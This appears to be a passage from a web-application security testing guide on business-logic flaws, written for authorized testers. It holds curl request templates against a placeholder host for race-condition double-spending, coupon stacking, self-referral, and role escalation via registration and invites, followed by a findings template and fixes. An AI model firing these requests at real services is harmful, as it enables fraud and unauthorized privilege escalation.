Identifying flaws in application business logic that allow price manipulation, workflow bypass, and privilege escalation beyond what technical vulnerability scanners can detect.
Identifying flaws in application business logic that allow price manipulation, workflow bypass, and privilege escalation beyond what technical vulnerability scanners can detect.
Exploit timing windows in concurrent request processing.
# Race condition on coupon application# Send multiple identical requests simultaneouslyfor i in $(seq 1 10); do
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "ONETIME50"}' \
"https://target.example.com/api/cart/apply-coupon" &
donewait# Race condition on balance transfer# If user has $100, try to transfer $100 to two accounts simultaneously
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"to": "user_b", "amount": 100}' \
"https://target.example.com/api/transfer" &
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"to": "user_c", "amount": 100}' \
"https://target.example.com/api/transfer" &
wait# Race condition on reward claiming# Using Burp Turbo Intruder for precise timing:# 1. Send request to Turbo Intruder# 2. Use race condition script template# 3. Send 20+ requests simultaneously# 4. Check if reward was claimed multiple times
Step 5: Test Referral and Reward System Abuse
Find ways to exploit promotional features and reward mechanisms.
# Self-referral: refer your own email
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"referral_email": "myown@email.com"}' \
"https://target.example.com/api/referrals/invite"# Referral code reuse across multiple accounts# Create multiple accounts and use same referral code# Coupon stacking: apply multiple discount codes
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"coupon_codes": ["SAVE10", "WELCOME20", "VIP50"]}' \
"https://target.example.com/api/cart/apply-coupons"# Abuse free trial: re-register with same details# Test if email+1@domain.com or email@domain.com bypass duplicate detection# Gift card / credit manipulation# Buy gift card with gift card balance (circular)# Apply gift card with value > purchase price (get change as credit)# Test reward point manipulation# Earn points on order → Cancel order → Keep points
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/orders/12345/cancel"# Check if reward points from order 12345 were revoked
Step 6: Test Role and Permission Logic
Assess authorization logic for privilege escalation through business processes.
# Role escalation via registration parameter
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"email":"test@test.com","password":"Test1234!","role":"admin"}' \
"https://target.example.com/api/auth/register"# Organization tenant boundary testing# User in Org A tries to access Org B resources via business workflows
curl -s -X POST \
-H "Authorization: Bearer $TOKEN_ORG_A" \
-H "Content-Type: application/json" \
-d '{"org_id": "org_b_id", "action": "view_reports"}' \
"https://target.example.com/api/reports"# Test for privilege retention after role downgrade# Admin → Regular user: can they still access admin functions?# Employee → Terminated: can they still access company resources?# Test invitation/delegation abuse# Invite user with higher privileges than inviter has
curl -s -X POST \
-H "Authorization: Bearer $REGULAR_TOKEN" \
-H "Content-Type: application/json" \
-d '{"email":"new@test.com","role":"admin"}' \
"https://target.example.com/api/users/invite"
Key Concepts
Concept
Description
Business Logic Flaw
A vulnerability in the application's workflow or rules that allows unintended actions
Price Manipulation
Modifying price, quantity, or total values in client-side requests
Workflow Bypass
Skipping required steps in a multi-step business process
Race Condition
Exploiting concurrent request processing to violate business constraints
Privilege Escalation
Gaining higher permissions through business process manipulation
Negative Testing
Testing with unexpected values (negative, zero, null, extreme)
State Manipulation
Changing application state in an order not intended by the business logic
Tools & Systems
Tool
Purpose
Burp Suite Professional
Request interception, modification, and sequence testing
Burp Turbo Intruder
High-speed request sending for race condition testing
Burp Sequencer
Token randomness analysis for predictable reference testing
OWASP ZAP
Open-source alternative for proxy-based testing
Postman
Workflow testing with collection runners and environment variables
Custom scripts
Python/bash scripts for automated business logic testing
Common Scenarios
Scenario 1: Coupon Code Stacking
An e-commerce site allows applying multiple coupon codes. By stacking "WELCOME10", "SAVE20", and "VIP30", the total discount exceeds the product price, resulting in a negative balance or free order.
Scenario 2: Race Condition on Fund Transfer
A banking application checks balance before transfer but does not lock the account. Sending two simultaneous $1000 transfers from a $1000 balance results in both succeeding, creating money from nothing.
Scenario 3: Checkout Price Override
The checkout flow sends the total amount in the POST body. Intercepting and changing the total from $499.99 to $0.01 results in a successful order at the manipulated price.
Scenario 4: Password Reset Token Reuse
The password reset flow generates a one-time token but does not invalidate it after use. The same token can be used repeatedly to reset the password.
Output Format
## Business Logic Vulnerability Finding
**Vulnerability**: Price Manipulation in Checkout Flow
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/checkout - `total` parameter
**OWASP Category**: A04:2021 - Insecure Design
### Reproduction Steps
1. Add item to cart (price: $499.99)
2. Proceed to checkout
3. Intercept POST /api/checkout request in Burp
4. Modify "total" from 499.99 to 0.01
5. Forward the request; order completes at $0.01
### Business Rules Violated
| Rule | Expected | Actual |
|------|----------|--------|
| Server-side price calculation | Total computed server-side | Client-submitted total accepted |
| Coupon single use | One coupon per order | Same coupon applied 5 times |
| Negative quantity check | Quantity >= 1 | Quantity -1 accepted (credit issued) |
| Race condition on transfer | Balance checked atomically | Dual transfer exceeded balance |
### Impact
- Financial loss: orders processed at attacker-controlled prices
- Inventory loss: products shipped for $0.01
- Reward abuse: unlimited referral credits via self-referral
- Double-spending via race condition on transfers
### Recommendation
1. Perform all price calculations server-side; never trust client-submitted totals
2. Implement server-side validation for quantity (positive integers only)
3. Use database-level locks or atomic transactions for financial operations
4. Implement idempotency keys to prevent duplicate transaction processing
5. Rate-limit and log coupon applications, referral submissions, and transfers
